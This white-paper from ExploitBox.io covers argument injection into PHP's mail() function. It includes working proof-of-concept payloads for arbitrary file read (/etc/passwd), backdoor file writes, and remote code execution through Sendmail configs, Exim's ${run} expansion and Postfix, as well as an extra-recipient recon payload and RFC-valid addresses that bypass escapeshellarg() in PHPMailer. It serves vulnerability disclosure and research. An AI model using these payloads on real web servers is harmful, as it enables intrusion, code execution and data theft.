ExploitBox.io - A playground & labs For Hackers, 0day Bug Hunters, Pentesters, Security Researchers

|=-----------------------------------------------------------------------=|
|=-------------=[ Pwning PHP mail() function For Fun And RCE  ]=---------=|
|=---------------=[ New Exploitation Techniques And Vectors ]=-----------=|
|=----------------------------=[ Release 1.0 ]=--------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=-------------------=[ by https://legalhackers.com/ ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=---------------------=[ https://ExploitBox.io     ]=-------------------=|
|=---------------------=[ @Exploit_Box              ]=-------------------=|
|=-----------------------------------------------------------------------=|

--[ Table of contents

0 - Introduction
1 - SMTP protocol - RFC 2821
2 - The mail() function
    2.1 - The 5th parameter ($additional_parameters)
    2.2 - The /usr/sbin/sendmail interface invoked by the mail() function
3 - Sendmail Command Injection via mail() and $additional_parameters
    3.1 - escapeshellcmd() escaping
    3.2 - Sendmail Command Parameter Injection
4 - Differences in the implementation of /usr/sbin/sendmail
5 - Known exploitation vectors
    5.1 - Sendmail MTA: Arbitrary File Read with -C argument
    5.2 - Sendmail MTA: Arbitrary File Write / Remote Code Execution
6 - New exploitation vectors/techniques discovered by the author
    6.1 - All MTAs: Snatching emails / Performing Recon
    6.2 - Sendmail MTA: Improvements to the existing File Write vector
    6.3 - SendmailMTA: Remote Code Execution via sendmail.cf config
    6.4 - Exim MTA: Remote Code Execution
    6.5 - Postfix MTA: Code Execution via malicious config
    6.6 - Sendmail MTA: Denial of Service via File Read + File Append
7 - The param injection point & Real World vulnerability examples
    7.1 - Vulnerable email libraries (PHPMailer / Zend-mail / SwiftMailer)
    7.2 - The sender injection via SetFrom() method of the PHP email libs
    7.3 - Other injection points / ways to exploit mail() vulnerabilities
8 - Bypass techniques
    8.1 - The beauty of RFC 3696 & RFC 822
    8.2 - Bypassing escapeshellarg() applied on mail()
9 - Credits
10 - References
11 - Disclaimer



--[ 0 - Introduction

This white-paper strives to clear the common misonception in regards to 
the limitations in exploitation of the PHP mail() function and show that 
the exploitation can be taken further than what is currently believed. 

It presents several new exploitation vectors and bypass techniques
on the PHP mail() function that were discovered and recently released by the 
author of this white-paper in the course of finding multiple critical 
vulnerabilities in major PHP e-mail sending libraries (PHPMailer, Zend 
Framework / Zend-mail, SwiftMailer) that are used by millions of web 
applications/projects (e.g Wordpress, Drupal, Joomla etc.)  and PHP 
programming frameworks (Zend, Yii2, Symphony, Laravel etc.)

The techniques include Exim vector that was believed to not be exploitable
via mail() function. This vector takes the mail() injection attacks to 
a new level.

A successful exploitation of the mail() function, could allow attackers to
achieve Remote Code Execution and other malicious goals.


--[ 1 - SMTP protocol - RFC 2821

According to the RFC 2821
https://www.ietf.org/rfc/rfc2821.txt

A client email program would typically send a set of SMTP commands similar
to the following when connecting to an SMTP server:

HELO server-port25.com
MAIL FROM: <support@server-port25.com>
RCPT TO: <jdoe@dest-server.com>

DATA
From: "John Smith" <jsmith@server-port25.com>
Reply-To: "Another Johns email" <John2@another-server25.com>
To:   "Jane Doe" <jdoe@dest-server.com>
Subject: test message
Date: Wed, 4 Jan 2017 06:19:57 -0400

Hello World,

This is a test message sent by SMTP

Regards

.


The important part from the perspective of understanding PHP mail()
function / sendmail's email address usage described further on is that SMTP
client specifies email addresses related to the sender addresses in 2 
places:

MAIL FROM: <support@server-port25.com>

and in the header set:

From: "John Smith" <jsmith@server-port25.com>
Reply-To: "Another Johns email" <John2@another-server25.com>

that is sent after the DATA command.


The first will be used by the destination SMTP server to return an email 
in case of a delivery problem. 

The latter will be used entirely by the email client software (such as
Outlook, Thunderbird etc.) of the user who receives the email, to display
the sender information (based on the From header) in a 'From' address
field as well as to decide (based on Reply-To header if present, or From 
header if missing) which address to reply to when the user clicks the 
Reply button.

--[ 2 - The mail() function

mail() is a standard PHP function that is used as an interface for sending
e-mails from PHP scripts.
http://php.net/manual/en/function.mail.php

The function has the following definition:

# php --rf mail

Function [ <internal:standard> function mail ] {

  - Parameters [5] {
    Parameter #0 [ <required> $to ]
    Parameter #1 [ <required> $subject ]
    Parameter #2 [ <required> $message ]
    Parameter #3 [ <optional> $additional_headers ]
    Parameter #4 [ <optional> $additional_parameters ]
  }
}


From an attacker's perspective, the last (5th) argument is the
most interesting as it can allow injection of additional parameters to
/usr/bin/sendmail program installed on the system which is transparently 
used by mail() to deliver the actual message.


--[ 2.1 - The 5th parameter ($additional_parameters)

The 5th parameter is optional. Many web applications use it however
to set envelope sender address / return-path with the parameter:

-f email@server-address.com

or alternatively:

-r email@server-address.com

The parameter with the address will be passed to /usr/sbin/sendmail, which
will use the email address to inform the receiving email server about the 
origin/sender (through the 'MAIL FROM' SMTP command), for it to know where 
to return an error message in case of a delivery failure.


--[ 2.2 - The /usr/sbin/sendmail interface invoked by the mail() function

/usr/sbin/sendmail program, as the name suggests, is an interface that
can be used for sending emails. 
It is provided by the mail transfer agent (MTA) software installed on the 
system (such as Sendmail, Postfix etc.). 

When an email is sent with mail() by this simple PHP script:

<?php
	$to      = "john@localhost";
	$subject = "Simple Email";
	$headers = "From: mike@localhost";
	$body    = 'Body of the message';

	$sender  = "admin@localhost";

	mail($to, $subject, $body, $headers, "-f $sender");
?>

PHP will make the following execve() call to execute sendmail program:

execve("/bin/sh", 
       ["sh", "-c", "/usr/sbin/sendmail -t -i  -f admin@localhost"],
       [/* 24 environment vars */])

and pass the following data to its STDIN:

To: john@localhost
Subject: Simple Email
X-PHP-Originating-Script: 0:simple-send.php
From: mike@localhost

Body of the message

The -t and -i parameters are added by PHP automatically.
Parameter -t makes sendmail extract headers from STDIN , and -i prevents
sendmail from treating '.' as the end of input.
The -f comes from the 5th parameter of the mail() function call.

What is interesting here is that the sendmail command gets executed with the 
help of the system shell (sh) which creates some opportunities for command
injection attacks if the application passes untrusted input to the last
/ the 5th parameter of mail() function.

--[ 3 - Sendmail Command Injection via mail() and $additional_parameters

If an attacker was able to inject data to the 5th parameter of mail() 
function, for example by means of the $sender variable set to an unfiltered
GET variable:

	$sender = $_GET['senders_email'];
	mail($to, $subject, $body, $headers, "-f $sender");

The attacker could inject arbitrary extra parameters to the 
/usr/sbin/sendmail command by making the request to the PHP script:

http://webserver/vulnerable.php?senders_email=attackers@email%20extra_data

which would execute mail() as:

mail(..., "-f attackers@email extra_data");

which would lead to executing sendmail with the parameters:

/usr/sbin/sendmail t -i -f attackers@email extra_data

--[ 3.1 - escapeshellcmd() escaping

The important thing to note is that the mail() function performs command
escaping internally by essentially calling the :

escapeshellcmd($additional_parameters)

function, so that shell metacharacters will not work. For example, 
setting 

$senders_email GET variable to: 

attacker@remote > /tmp/shell_injection

will not lead to the file creation of the shell_injection file as >
character will get escaped by the escapeshellcmd() and the sendmail
call will turn into:

/usr/sbin/sendmail t -i -f attacker@remote \> /tmp/shell_injection

thus preventing the special function of the '>' shell metacharacter.

--[ 3.2 - Sendmail Command Parameter Injection

The attacker can however inject additional command parametrs to the 
sendmail command itself as the escapeshellcmd() function called by mail()
does not quote the $additional_parameters parameter by default.
It gives a programmer freedom to pass multiple arguments to sendmail,
but may introduce a vulnerability to unaware programmers.

A successful injection of additional parameters to sendmail, might 
trigger additional functionality of the sendmail program itself.

For example, if the attacker managed to set $return variable to:

attackere@remote -LogFile /tmp/output_file

The sendmail program would be called as a shell command:

/usr/sbin/sendmail -t -i -f attackere@remote -LogFile /tmp/output_file

If the -LogFile was a valid argument for the sendmail interface installed
on the target machine, this could cause the program to write out a log file
into /tmp/output_file.

As it turns out Sendmail MTA has such a logging function in its
implementation of /usr/sbin/sendmail interface, which can be enabled by 
-X parameter and could be used to save malicious code provided by the 
attacker.

--[ 4 - Differences in the implementation of /usr/sbin/sendmail

As mentioned in the previous chapters, sendmail interface is provided by
the MTA email software (Sendmail, Postfix, Exim etc.) installed on the
system. 

Although the basic functionality (such as -t -i -f parameters) remains the
same for compatibility reasons, other functions and parameters vary 
greatly depending on the MTA installed. 
For example, the aforementioned -X parameter that can be used for logging
is only implemented in the Sendmail MTA's version of /usr/sbin/sendmail
interface. 
The others, simply implement it as a dummy switch, for compatibility
reasons or do not support it at all.

For this reason the man page for sendmail program varies depending on the
MTA installed on the system.

Here are a few examples of different man pages of sendmail command/interface:

Sendmail MTA:
http://www.sendmail.org/~ca/email/man/sendmail.html

Postfix MTA:
http://www.postfix.org/mailq.1.html

Exim MTA:
https://linux.die.net/man/8/exim


--[ 5 - Known exploitation vectors

The potential malicious usage of the 5th parameter of mail() involving
parameter injection to /usr/sbin/sendmail apears to be first uncovered by 
Sogeti/ESEC company in the blog post released in 2011:

http://esec-pentest.sogeti.com/posts/2011/11/03/using-mail-for-remote-code-execution.html

The blog post revealed 2 exploitation vectors for Sendmail MTA that
may allow an attacker to * read/write to an arbitrary file and potentially
gain Remote Code Execution via -C and -X parameters to sendmail interface
provided by Sendmail MTA.

These 2 vectors only work on Sendmail MTA, and are presented below.

--[ 5.1 - Sendmail MTA: Arbitrary File Read with -C argument

From sendmail man page:

-Cfile 
 Use alternate configuration file.

-X logfile
 Log all traffic in and out of mailers in the indicated log file.  

These 2 parameters can be combined to cause sendmail to load an arbitrary
file as the config, and output the contents as a set of error messages
(due to unknown config lines).


For example, if attacker injected: 

-C/etc/passwd -X/tmp/output.txt

as the 5th parameter of mail(), the following command would get executed:

/usr/sbin/sendmail -i -t -C/etc/passwd -X/tmp/output.txt

which would save the following data into /tmp/output.txt:

/etc/passwd: line 1: unknown configuration line
"root:x:0:0:root:/root:/bin/bash"
/etc/passwd: line 2: unknown configuration line
"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin"
/etc/passwd: line 3: unknown configuration line
"bin:x:2:2:bin:/bin:/usr/sbin/nologin"
/etc/passwd: line 4: unknown configuration line
"sys:x:3:3:sys:/dev:/usr/sbin/nologin"
/etc/passwd: line 5: unknown configuration line
"sync:x:4:65534:sync:/bin:/bin/sync"
/etc/passwd: line 6: unknown configuration line
"games:x:5:60:games:/usr/games:/usr/sbin/nologin"
...

For the attack to be useful to a remote attacker. The output file would
need to be placed in a writable directory under the document root where it
could be retrieved by the attacker through the web server.

--[ 5.2 - Sendmail MTA: Arbitrary File Write / Remote Code Execution

The -X parameter can also be used in combination with the:

-OQueueDirectory=/tmp/

parameter of Sendmail MTA's version of /usr/sbin/sendmail interface.

The parameter is described by the man page as:

       QueueDirectory=queuedir
              Select the directory in which to queue messages.

Attacker needs to select a world-writable directory to allow for saving
temporary files.

This will allow to successfully send a message passed to sendmail, as well
as save to the log file into an arbitrary file pointed by -X parameter. 

Simple PoC:

<?php
	$sender = "attacker@anyhost -OQueueDirectory=/tmp/ -X/tmp/poc.php";
	$body   = '<?php phpinfo(); ?>';
	// ^ unfiltered vars, coming from attacker via GET, POST etc.

	$to = "john@localhost";
	$subject = "Simple Email";
	$headers = "From: mike@localhost";

	mail($to,$subject,$body,$headers, "-f $sender ");
?>

The PoC will save the PHP code within $body into the log file with this
resulting contents of /tmp/poc.php:

06272 <<< To: john@localhost
06272 <<< Subject: Simple Email
06272 <<< X-PHP-Originating-Script: 0:simplepoc.php
06272 <<< From: mike@localhost
06272 <<< 
06272 <<< <?php phpinfo(); ?>
06272 <<< [EOF]


As the attacker might be able to control both the filename and contents,
this could potentially result in Arbitrary PHP code execution if the 
attacker managed to save it under a writable directory within the document 
root such as:

-X/var/www/html/webapp1/upload/backdoor.php

which they could then execute by a GET request:

http://victim-server/webapp1/upload/backdoor.php

For this to work, the upload directory must have enabled parsing/execution
of PHP files which sometimes gets turned off for security reasons by the
administrator or by the webapplication installer (via special rules in
.htaccess placed within the upload directory).

Also note that the output log file contains a lot of debug information 
added by Sendmail MTA. 


--[ 6 - New exploitation vectors/techniques discovered by the author

Sendmail MTA is rarely used due to its complexity and a history of 
vulnerabilities. 
It is no longer used by modern Linux distributions as the default MTA and
have been replaced with Postfix MTA on RedHat-based systems such as CentOS,
and with Exim MTA on Debian-based systems such as Ubuntu, Debian etc.

This makes it quite difficult to find Sendmail MTA in a real-world setups.
On systems where it is available, the exploitation could sometimes be 
tricky due to the aforementioned limitations (correct webroot paths, 
requirement for a php-executable/writable directory, mised-up payload).

As both of the known vectors presented in previous chapter require Sendmail
MTA to work, the author has performed a new research which lead to the 
discovery of new exploitation vectors/techniques that may be used
on systems with modern MTAs such as Exim and Postfix. 
The research has also produced a new vector for Sendmail MTA as well as
some improvements to the already-known vectors.

--[ 6.1 - All MTAs: Snatching emails / Performing Recon

One of the arguments that does not change across different MTAs is the 
list of additional recipients which comes after the option list as per
this man page:


       sendmail [option ...] [recipient ...]

If attacker control the 5th parameter of mail() they can simply append
an extra recipient as shown below:

<?php
// Recon via mail() vector on all MTAs / sendmail versions
//
// Created by:
// Dawid Golunski - @dawid_golunski - https://legalhackers.com

        $sender = "nobody@localhost attacker@anyhost-domain.com";
        // ^ unfiltered var, coming from attacker via GET, POST etc.

        $to = "support@localhost";
        $headers = "From: mike@localhost";
        $subject = "Support ticket: Remote Recon PoC";
	$body = "Show me what you got!";

        mail($to,$subject,$body,$headers, "-f $sender ");
?>

which would execute the command: 

/usr/sbin/sendmail -t -i -f support@localhost attacker@anyhost-domain.com

and send an email similar to the following right into the attacker's 
mailbox attacker@anyhost-domain.com:

Return-Path: <nobody@localhost>
Received: from localhost (localhost [127.0.0.1])
	by localhost (8.14.4/8.14.4/Debian-8+deb8u1) with ESMTP
id v04FSqQ5008197;
	Wed, 4 Jan 2017 10:28:52 -0500
Received: (from www-data@localhost)
	by localhost (8.14.4/8.14.4/Submit) id v04FSqEU008196
	for attacker@anyhost-domain.com; Wed, 4 Jan 2017 10:28:52 -0500
Date: Wed, 4 Jan 2017 10:28:52 -0500
Message-Id: <201701041528.v04FSqEU008196@localhost>
X-Authentication-Warning: localhost: www-data set sender to
nobody@localhost using -f
To: support@localhost
Subject: Support ticket: Remote Recon PoC
X-PHP-Originating-Script: 1000:recon-test.php
From: mike@localhost


This might reveal:

* version of operating system in use (Debian)

* server IPs

* the version of MTA in use (8.14.4 in this case, which is Sendmail MTA)

* the name of the script that sent the message (recon-test.php) which
could reveal the name of the email sending library/framework in use e.g:

X-PHP-Originating-Script: 0:class.phpmailer.php

If an application uses a dedicated email library such as PHPMailer,
Zend-mail etc. it might also append its version header.
For example:

X-Mailer: PHPMailer 5.2.17 (https://github.com/PHPMailer/PHPMailer)

Knowing the library in use attacker can adjust their attack to the
specific OS / MTA and PHP email library in use.

For example, the above version of PHPMailer is vulnerable to:

PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)

discovered by the author.

--[ 6.2 - Sendmail MTA: Improvements to the existing File Write vector

It is mistakenly believed that -X parameter requires a full path and
therefore an attacker needs to guess the webroot of a vulnerable website.

This is however not true as sendmail will also accept a relative path.
This allows the attacker to simply use the current working directory
of the remote vulnerable script as a reference. 
If the remote script is running at the top level of the webroot,
the attacker may try to inject the following argument:

-X ./upload/backdoor.php

instead of

-X /var/www/html/webapp1/guessed-webroot/


Additionally, the somewhat long:

-OQueueDirectory=/tmp/

parameter can also be reduced to:

-oQ/tmp/

which might be useful if a web application limits the size of the $sender
string, as well as to bypass potential filtration of '=' character etc.

--[ 6.3 - SendmailMTA: Remote Code Execution via sendmail.cf config

In a secure deployment of a webapp, PHP script execution might be disabled 
within the upload directory and the application might only allow upload
of static files such as text files, images etc.

A new vector was discovered that could allow RCE despite these limitations.

As sendmail interface allows to load a custom Sendmail MTA config file via

-C

argument to /usr/sbin/sendmail , an attacker could upload a malicious
config file as a static/text file via webapp's upload feature and use
it to force Sendmail to execute malicious code upon processing an 
email message.

This could be achieved by making a copy of /etc/mail/sendmail.cf config
file and replacing the default Mlocal mail handler present at the end
of the file with a Sendmail config shown below (between the # lines):

<?php

/*
##########################################################################
# Sendmail MTA config vector executing /usr/bin/php that loads RCE code
# on stdin passed by mail() (e.g. within message body / subject etc.)
#
# Make a copy of a sendmail.cf config from /etc/mail/sendmail.cf 
# and then append this config stanza/vector to the end of it. 
# Such stanza can then be uploaded to the target webapp into upload/ dir
# for example with an example name of: sendmail_cf_exec
#
# Created by:
# Dawid Golunski - @dawid_golunski - https://legalhackers.com

Mlocal,		P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL,
                R=EnvToL/HdrToL,
		T=DNS/RFC822/X-Unix,
		A=php -- $u $h ${client_addr}
##########################################################################
*/

        $sender = "attacker@anyhost -oQ/tmp/ -C./upload/sendmail_cf_exec 
www-data@localhost";

        $body   = 'PHP RCE code: <?php system("touch /tmp/PWNED"); ?>';
        // ^ unfiltered vars, coming from attacker via GET, POST etc.

        $to = "john@localhost";
        $subject = "Exim RCE PoC";
        $headers = "From: mike@localhost";

        mail($to,$subject,$body,$headers, "-f $sender ");

?>


The $sender payload will use relative path to load the crafted Sendmail MTA
config file from (previously uploaded with the static file uploader) 
upload/sendmail_cf_exec and use it to process the incoming email from 
mail() function. 
Sendmail MTA will then spawn /usr/bin/php process and process the
attacker's payload within the $body of the message.

Apart from the remote exploitation with static file upload scenario,
this vector could obviously also be very easily used in a shared hosting
environment. 
In such a case, an attacker could easily use /tmp directory to prepare
the malicious config and then use mail() vulnerability in the target app 
to load the config and gain code execution in the context of the victim
user.

--[ 6.4 - Exim MTA: Remote Code Execution

Exim MTA is the default MTA software installed with Debian-based systems
such as Ubuntu and Debian. 

The /usr/sbin/sendmail interface provided by Exim4 has a fairly rich set 
of functions.
The research uncovered -be option which can be very useful to attackers.

The man page states:

       -be       Run Exim in expansion testing mode. Exim discards its root
privilege, to prevent ordinary users from using this mode to read otherwise
inaccessible files.
                 If no arguments are given, Exim runs interactively,
prompting for lines of data. Otherwise, it processes each argument in turn.


The exim syntax/language provided by Exim was investigated for interesting
variables that could be expanded.
The exim syntax allows expanding standard variables such as: '$h_subject'
or '$recipients'. 

Further research however uncovered ${run} which can be expanded to return
a result of a shell command.

For example, the following string: 

${run{/bin/true}{yes}{no}}

would be expanded to 'yes' upon successful execution of /bin/true.

This was quickly turned into Arbitrary Remote Code Execution payload
which would execute arbitrary shell command passed within $body of the
message:

<?php
// RCE via mail() vector on Exim4 MTA
// Attacker's cmd is passed on STDIN by mail() within $body
// Discovered by:
// Dawid Golunski - @dawid_golunski - https://legalhackers.com

        $sender = "attacker@anyhost -be";
        $body   = 'Exec: ${run{/bin/bash -c "/usr/bin/id
>/tmp/id"}{yes}{no}}';
        // ^ unfiltered vars, coming from attacker via GET, POST etc.

        $to = "john@localhost";
        $subject = "Exim RCE PoC";
        $headers = "From: mike@localhost";

        mail($to,$subject,$body,$headers, "-f $sender ");
?>


This exploit vector seems the most powerful as it can allow attackers to 
achieve instant RCE on systems with Exim MTA. 
The code will get executed as soon as injected parameter/body of mail() 
function gets passed to /usr/sbin/sendmail. 
There is no need to write to any files and therefore writable directories
that are parsed by PHP engine are not required.


--[ 6.5 - Postfix MTA: Code Execution via malicious config

Postfix has proved to be more tricky during the research. 

Nevertheless it was possible to determine a way that an attacker could use
to achieve code execution when the attacker and the target reside within
the same shared hosting environment. 

Certain setups could also make it possible to carry out the attack
remotely.

Similarly to Sendmail MTA, the /usr/sbin/sendmail interface provided by Postfix 
MTA has a -C switch that can be used to load a custom config.

sendmail will fail however as soon as the attacker's message message is
passed to postdrop command for proessing. 
Postdrop will notice the -C config and stop further execution.

This could be bypassed however by creating a custom main.cf Postfix config
in /tmp/main.cf file with the following setting:

mailbox_command = /tmp/postfixfakebin/

The attacker could then place a malicious bash script/binary within the
postfix_fake_bin directory and inject the following parameter to the
/usr/sbin/sendmail interface provided by Postfix MTA, through mail()
parameter injection as shown in the PoC below:


<?php
/*
 Code Exec via mail() vector on Postfix MTA

 Attacker's shell cmds must be placed under postdrop file within a shared 
 directory e.g. /tmp/postfixfakebin/postdrop

 A config line of: 

 mailbox_command = /tmp/postfixfakebin/

 must also be added to a shared directory e.g. /tmp/main.cf

 Created by:
 Dawid Golunski - @dawid_golunski - https://legalhackers.com
*/
        $sender = "attacker@anyhost -C /tmp/";
        // ^ unfiltered vars, coming from attacker via GET, POST etc.

        $body   = 'Simple body, the payload is in postdrop anyway';
        $to = "john@localhost";
        $subject = "Postfic exec PoC";
        $headers = "From: mike@localhost";

        mail($to,$subject,$body,$headers, "-f $sender ");
?>



This scenario could potentially be exploited remotely if a target webapp
(vulnerable to mail() param injection) provides a file manager utitlity
that allows the attacker to create directories/files but does not
parse PHP files.

Another remote scenario could include a file uploader which lets users
upload ZIP files. A malicious zip could contain main.cf and postdrop 
script/binary which gets extracted into a known location.

--[ 6.6 - Sendmail MTA: Denial of Service via File Read + File Append

The -C and -X parameters could be used to perform a Denial of Service
attack on the target by reading big known files such as web server logs
with -C option and appending them to a file in a writable directory
by the web server such as /tmp , /var/www/html/upload ,
/var/lib/php5/sessions etc. to exhaust disk space necessary for the correct
operation of the web application / the OS.

Although this specific example is limited to Sendmail MTA, this vector 
likely affects more MTA servers and there likely are other parameters 
supported by the remaining MTAs that could carry out a similar DoS attack.

--[ 7 - The param injection point & Real World vulnerability examples

The mail() parameter injection was deemed hardly exploitable / impractical
for many years as the 5th parameter of mail() has been thought to be
rarely exposed to malicious input outside of web application control panels
which are usually restricted to administrative users and therefore are
usually of little use to remote attackers.
Finding a mail() param injection vulnerability, would also not necessarily 
guarantee a successful exploitation as it would depend on installed MTA on
the web server (its sendmail interface) and up until now the only option was
rarely used Sendmail MTA with the 2 vectors -X -C (File Write / Read) which
decreased the attack surface further.

For this reason, the new attack vectors presented in the previous chapter
could be very useful in exploitation of the real world new vulnerabilities
described further on and open more attack possibilities.


--[ 7.1 - Vulnerable email libraries (PHPMailer / Zend-mail / SwiftMailer)

Recently a set of mail() param injection vulnerabilities was exposed by the
author: 

PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)

PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045)

SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)

Zend Framework/zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)

The details can be seen in the respective advisories, however we can have a
quick look at the problem they all shared, on the example of PHPMailer.


--[ 7.2 - The sender injection via SetFrom() method of the PHP email libs

Similarly to the other email libraries, PHPMailer class uses PHP mail() 
function as its default transport.

The transport was implemented using the mailSend() function:

    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a
        //return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }
...
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject,
$body, $header, $params);


as can be seen, it creates a $params variable that appends $this->Sender 
property  to '-f ' string to create a sendmail parameter (Envelope Sender 
/ MAIL FROM) that gets passed to the mail() function as the 5th parameter.

The internal $this->Sender property can be validated and set by calling 
the setFrom() method of PHPMailer class. This looks as follows:

public function setFrom($address, $name = '', $auto = true)
{
$address = trim($address);
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
// Don't validate now addresses with IDN. Will be done in send().
if (($pos = strrpos($address, '@')) === false or
    (!$this->has8bitChars(substr($address, ++$pos)) or
!$this->idnSupported()) and
    !$this->validateAddress($address)) {
...


In theory, setFrom() should rarely be exposed to untrusted user input, and
even if it was, there is a validation function in place that validates
the email to be RFC 822 compliant so this should not be a problem. 

The PHPMailer tutorial at:
https://github.com/PHPMailer/PHPMailer/wiki/Tutorial

shows a basic usage PHPMailer as:

<?php
	require 'PHPMailerAutoload.php';
	$mail = new PHPMailer;
	$mail->setFrom('from@example.com', 'Your Name');
	$mail->addAddress('myfriend@example.net', 'My Friend');
	$mail->Subject  = 'First PHPMailer Message';
	$mail->Body     = 'Hi! first e-mail from PHPMailer.';

	if(!$mail->send()) {
	  echo 'Message was not sent.';
	  echo 'Mailer error: ' . $mail->ErrorInfo;
	} else {
	  echo 'Message has been sent.';
}


Contrary to what the name might suggest, this setFrom() example should not 
however be used for storing an address provided by visitors.

Unfortunatelly, due to the name of the function and the popularity of the
code snippet, many scripts use setFrom() to set the visitor's 'From' e-mail
address passed through a field in various Contact and Feedback forms.

Unaware that they should be using AddReplyTo() (which sets the 
DATA/Reply-To header, as opposed to the MAIL FROM/Envelope Sender address)
instead.

Implementation with setFrom() will however achieve the result and the 
Contact/Feedback form may work as expected, even though it does not conform 
to the email best practice.

This would not make a severe security flaw , if it was not for the fact
that the untrusted email address set with setFrom() would end up as the
5th parameter to mail() function and the RFC validation could be bypassed.
This made it possible to inject arbitrary parameters to /usr/sbin/sendmail 
and lead to a critical Remote Code Execution flaw that could be exploited 
via a range of vectors presented in the previous chapter.

As mentioned, the other PHP libraries had a very similar flaw which was 
later dubbed with a name - "PwnScriptum".

More details together with a demo of this vulnerability showing how it 
could get exploited via a Contact form can be seen at: 

https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html

A limited exploit has also been shared at:
https://legalhackers.com/exploits/CVE-2016-10033/10045/10034/10074/PwnScriptum_RCE_exploit.py


--[ 7.3 - Other injection points / ways to exploit mail() vulnerabilities

The remaining real-world examples will be described in the next version of
this white-paper once the issues have been fixed by certain vendors that 
are currently working on security patches.


--[ 8 - Bypass techniques

This chapter presents some bypass techniques that might come in handy to
bypass similar protections. 

The next 2 were used to bypass protections offered by the PHP email libraries
discussed in the previous chapter.

--[ 8.1 - The beauty of RFC 3696 & RFC 822

The RFC 3696 / RFC 822 standards

https://tools.ietf.org/html/rfc3696
https://www.ietf.org/rfc/rfc0822.txt

emails to take the following forms:

      Abc\@def@example.com

      Fred\ Bloggs@example.com

      Joe.\\Blow@example.com

      "Abc@def"@example.com

      "Fred Bloggs"@example.com


The generosity of these standards allowed the author to construct a valid email
address that complies with the RFCs but is at the same time a malicious payload
for the 5th argument of mail():

"Attacker \" -Param2 -Param3"@test.com

when passed to a vulnerable PHP email library and then to mail() function, it
would cause sendmail to execute with the parameters:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker\]
Arg no. 4 == [-Param2]
Arg no. 5 == [-Param3"@test.com]

Attacker could thus break out of the -f parameter context and inject additional 
parameters (arg no. 4 and arg no. 5 in the example above).

--[ 8.2 - Bypassing escapeshellarg() applied on mail()

It seems intuitive that additional parameters passed to sendmail via the 5th 
parameter of mail() function should be single quoted with escapeshellarg()
function which has been designed for this kind of purpose. 

Unfortunatelly, it clashes with the internal command escaping performed 
internally by the mail() function. 

A good example of this is the CVE-2016-10033 vulnerability which turned
into a new vulnerability of CVE-2016-10045 , as the fix of this kind could
be bypassed due to the clashing and setting the Sender to:

$mail->SetFrom("\"Attacker\\' -Param2 -Param3\"@test.com", 'Client Name');

would result in the followig list of arguments passed to sendmail program:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-f\"Attacker\\\]
Arg no. 4 == [-Param2]
Arg no. 5 == [-Param3"@test.com']

which again resulted in arbitrary parameters (arg 4 & 5) passed to
/usr/sbin/sendmail.


--[ 9 - Credits

This security white-paper has been written by:

Dawid Golunski (@dawid_golunski)
https://legalhackers.com

dawid[at]legalhackers.com

Please add a link back to this paper if the information proved to 
be useful to you.


--[ 10 - References


[0] https://legalhackers.com/
[1] https://www.ietf.org/rfc/rfc2821.txt
[2] http://php.net/manual/en/function.mail.php
[3] http://www.sendmail.org/~ca/email/man/sendmail.html
[4] http://www.postfix.org/mailq.1.html
[5] https://linux.die.net/man/8/exim
[6] https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html
[7] https://legalhackers.com/exploits/CVE-2016-10033/10045/10034/10074/PwnScriptum_RCE_exploit.py
[8] https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html


--[ 11 - ExploitBox - A Playground For Hackers

Interested in vulns/exploitation?
 

                        .;lc'
                    .,cdkkOOOko;.
                 .,lxxkkkkOOOO000Ol'
             .':oxxxxxkkkkOOOO0000KK0x:'
          .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.
       ':oxxxxxxxxxxo;.       .:oOKKKXXXNNNNOl.
      '';ldxxxxxdc,.              ,oOXXXNNNXd;,.
     .ddc;,,:c;.         ,c:         .cxxc:;:ox:
     .dxxxxo,     .,   ,kMMM0:.  .,     .lxxxxx:
     .dxxxxxc     lW. oMMMMMMMK  d0     .xxxxxx:
     .dxxxxxc     .0k.,KWMMMWNo :X:     .xxxxxx:
     .dxxxxxc      .xN0xxxxxxxkXK,      .xxxxxx:
     .dxxxxxc    lddOMMMMWd0MMMMKddd.   .xxxxxx:
     .dxxxxxc      .cNMMMN.oMMMMx'      .xxxxxx:
     .dxxxxxc     lKo;dNMN.oMM0;:Ok.    'xxxxxx:
     .dxxxxxc    ;Mc   .lx.:o,    Kl    'xxxxxx:
     .dxxxxxdl;. .,               .. .;cdxxxxxx:
     .dxxxxxxxxxdc,.              'cdkkxxxxxxxx:
      .':oxxxxxxxxxdl;.       .;lxkkkkkxxxxdc,.
          .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.
             .':oxxxxxxxxx.ckkkkkkkkxl,.
                 .,cdxxxxx.ckkkkkxc.
                    .':odx.ckxl,.
                        .,.'.

 https://ExploitBox.io

 https://twitter.com/Exploit_Box


Subscribe to stay updated and be there for the launch.



--[ 12 - Disclaimer

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
